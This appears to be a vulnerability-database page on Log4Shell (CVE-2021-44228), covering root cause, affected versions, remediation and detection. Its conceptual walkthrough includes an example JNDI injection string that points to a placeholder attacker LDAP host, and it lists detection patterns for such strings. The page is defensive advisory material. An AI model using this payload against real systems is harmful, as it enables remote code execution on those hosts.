CVE-2021-44228

CVE-2021-44228 is a critical-severity vulnerability in Apache Log4j with a CVSS 3.x base score of 10.0. It is listed in CISA's Known Exploited Vulnerabilities (KEV) catalog, confirming it has been exploited in the wild (added 2021-12-10). The underlying weakness is classified as CWE-20.

Key facts

Description

Apache Log4j2 2.0-beta9 through 2.15.0 (excluding security releases 2.12.2, 2.12.3, and 2.3.1) JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. From log4j 2.15.0, this behavior has been disabled by default. From version 2.16.0 (along with 2.12.2, 2.12.3, and 2.3.1), this functionality has been completely removed. Note that this vulnerability is specific to log4j-core and does not affect log4net, log4cxx, or other Apache Logging Services projects.

CVE-2021-44228 (Log4Shell): Apache Log4j2 JNDI Lookup Remote Code Execution

AI-generated analysis based on the vulnerability data on this page.

Attribute Value
CVE CVE-2021-44228
Published 2021-12-10
CVSS v3 10.0 (CRITICAL)
CVSS v2 9.3
EPSS 0.99999
KEV Yes (CISA, 2021-12-10)
CWE CWE-20 (Improper Input Validation)
Affected Component log4j-core only

Summary

Apache Log4j2 2.0-beta9 through 2.15.0 fails to sanitize attacker-controlled input passed to JNDI lookup features, enabling unauthenticated remote code execution when an application logs user-controlled data.

Background

Log4j2 is the widely deployed Java logging framework maintained by the Apache Logging Services project. It supports rich message formatting, including JNDI (Java Naming and Directory Interface) lookups that allow log messages to reference external resources via LDAP, RMI, DNS, and other directory services. This capability is active in default configurations prior to version 2.15.0.

Root Cause

CWE-20 — Improper Input Validation

The JNDI features used in configuration, log messages, and parameters do not validate or restrict against attacker-controlled LDAP and other JNDI-related endpoints. When message lookup substitution is enabled, Log4j2 recursively resolves expressions such as ${jndi:ldap://...} inside log strings. Because the lookup mechanism trusts the returned object and instantiates it via Java deserialization, an attacker-controlled JNDI server can supply a malicious payload that is executed in the context of the application process.

Impact

  • CVSS 3.1 Score: 10.0 (CRITICAL)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
  • Impact: Network-accessible, low-complexity attacks with no privileges or user interaction required and changed scope. Complete confidentiality, integrity, and availability impact.

An unauthenticated attacker can achieve full remote code execution on the target host. The vulnerability is wormable because the exploit is a single string that can be injected via any user-controlled input field an application logs (HTTP headers, form parameters, search queries, etc.).

Exploitation Walkthrough

Defensive Context Only. This section describes how the attack works conceptually to help defenders understand detection and remediation priorities. This is not a step-by-step exploit guide.

  1. An attacker identifies an application that uses a vulnerable Log4j2 version and logs attacker-controlled input. Common injection points include HTTP request headers (User-Agent, X-Forwarded-For, X-Api-Version), query parameters, or form fields.
  2. The attacker submits a payload containing a JNDI lookup string, e.g., ${jndi:ldap://attacker.example.com/exploit}.
  3. The application processes the request and writes the payload to a log via Log4j2.
  4. Log4j2's message lookup substitution resolves the ${jndi:...} expression, contacting the attacker-controlled LDAP server.
  5. The LDAP response references a malicious Java class or serialized object.
  6. The target JVM downloads and instantiates the class, executing attacker-controlled code in the context of the application.

Because the lookup occurs during logging, the attacker does not need to trigger an error or unusual application path; routine logging of ordinary request data is sufficient.

Affected and Patched Versions

Affected:

  • Apache Log4j2 2.0-beta9 through 2.15.0 (excluding 2.12.2, 2.12.3, and 2.3.1)
  • Apache Log4j2 2.0, 2.0-rc1, 2.0-rc2

Not Affected:

  • log4j-core versions 2.16.0 and later (JNDI lookup removed entirely)
  • log4j-core 2.12.2 and 2.12.3 (Java 7 backports)
  • log4j-core 2.3.1 (Java 6 backport)
  • log4net, log4cxx, and other Apache Logging Services projects

Patched Versions:

  • 2.16.0 or later (recommended)
  • 2.12.3 (for Java 7 environments)
  • 2.3.1 (for Java 6 environments)

Remediation

  1. Upgrade to the latest patched version of log4j-core (2.16.0+; or 2.12.3 / 2.3.1 for legacy Java versions).
  2. Remove the JndiLookup class if upgrading is not immediately feasible:
    zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
  3. Set the system property log4j2.formatMsgNoLookups to true on Log4j2 2.10.0–2.14.1 (note: this is a temporary measure, not a substitute for patching).
  4. Apply egress controls to restrict LDAP, RMI, and DNS traffic from application servers.
  5. Deploy WAF rules or RASP controls to detect and block JNDI lookup strings in inbound requests.

Detection

  • Network: Monitor outbound LDAP (port 389/636), RMI (port 1099), and DNS queries from Java processes to unexpected destinations.
  • Endpoint: Hunt for child process execution (e.g., bash, powershell, cmd.exe) spawned by Java application processes.
  • Logging / SIEM: Search application logs and HTTP request logs for patterns containing ${jndi:, ${jndi:ldap:, ${jndi:dns:, ${jndi:rmi:, and case variations.
  • WAF: Configure rules to block inbound payloads containing JNDI lookup syntax in headers and body content.
  • Vulnerability Scanning: Use authenticated or dependency-scanning tools to detect log4j-core versions in the vulnerable range.

Assessment

  • Exploitation Probability: Near-certain. EPSS = 0.99999 (100th percentile) and CISA KEV catalogued this vulnerability on 2021-12-10. The EU also flagged it as exploited since the same date.
  • Threat Context: Log4Shell is one of the most widely exploited vulnerabilities of the decade. It affected thousands of vendors and products, and scanning for vulnerable instances continues years after disclosure.
  • Lessons: (1) Logging libraries sit in the trusted path of nearly every application; any feature that performs dynamic resolution of external resources should be opt-in, not default-on. (2) Supply-chain visibility is essential — many organizations did not know they were running Log4j2 because it was bundled as a transitive dependency.

References

Frequently asked questions

What is CVE-2021-44228?
Apache Log4j2 2.0-beta9 through 2.15.0 (excluding security releases 2.12.2, 2.12.3, and 2.3.1) JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. From log4j 2.15.0, this behavior has been disabled by default. From version 2.16.0 (along with 2.12.2, 2.12.3, and 2.3.1), this functionality has been completely removed. Note that this vulnerability is specific to log4j-core and does not affect log4net, log4cxx, or other Apache Logging Services projects.
How severe is CVE-2021-44228?
CVE-2021-44228 has a CVSS 3.x base score of 10.0, rated critical severity. It is exploitable over network with low attack complexity, requires no privileges and no user interaction. Impact on confidentiality is high, integrity high, and availability high.
Is CVE-2021-44228 being actively exploited?
Yes. CVE-2021-44228 is on CISA's Known Exploited Vulnerabilities (KEV) catalog, added on 2021-12-10, which means active exploitation has been confirmed. It should be prioritised for remediation.
What products are affected by CVE-2021-44228?
CVE-2021-44228 primarily affects Apache Log4j. In total, 358 product configurations (CPEs) are listed as vulnerable; see the affected-products list for the exact versions.
How do I fix CVE-2021-44228?
Review the linked vendor and NVD advisories for patched versions and mitigations, then upgrade or apply the recommended workaround. Because this CVE is known to be actively exploited, treat remediation as urgent — CISA KEV typically sets a short remediation deadline.
Does CVE-2021-44228 have an EU (EUVD) identifier?
Yes. CVE-2021-44228 is tracked in the ENISA EU Vulnerability Database (EUVD) as EUVD-2021-34768. It is also flagged as exploited in the EUVD (since 2021-12-10).
When was CVE-2021-44228 published?
CVE-2021-44228 was published on 2021-12-10 and last updated on 2026-06-17.

References

Affected products (358)

More vulnerabilities in Apache Log4j

All CVEs affecting Apache Log4j →

Other CWE-20 (Improper Input Validation) vulnerabilities

Browse all CWE-20 (Improper Input Validation) vulnerabilities →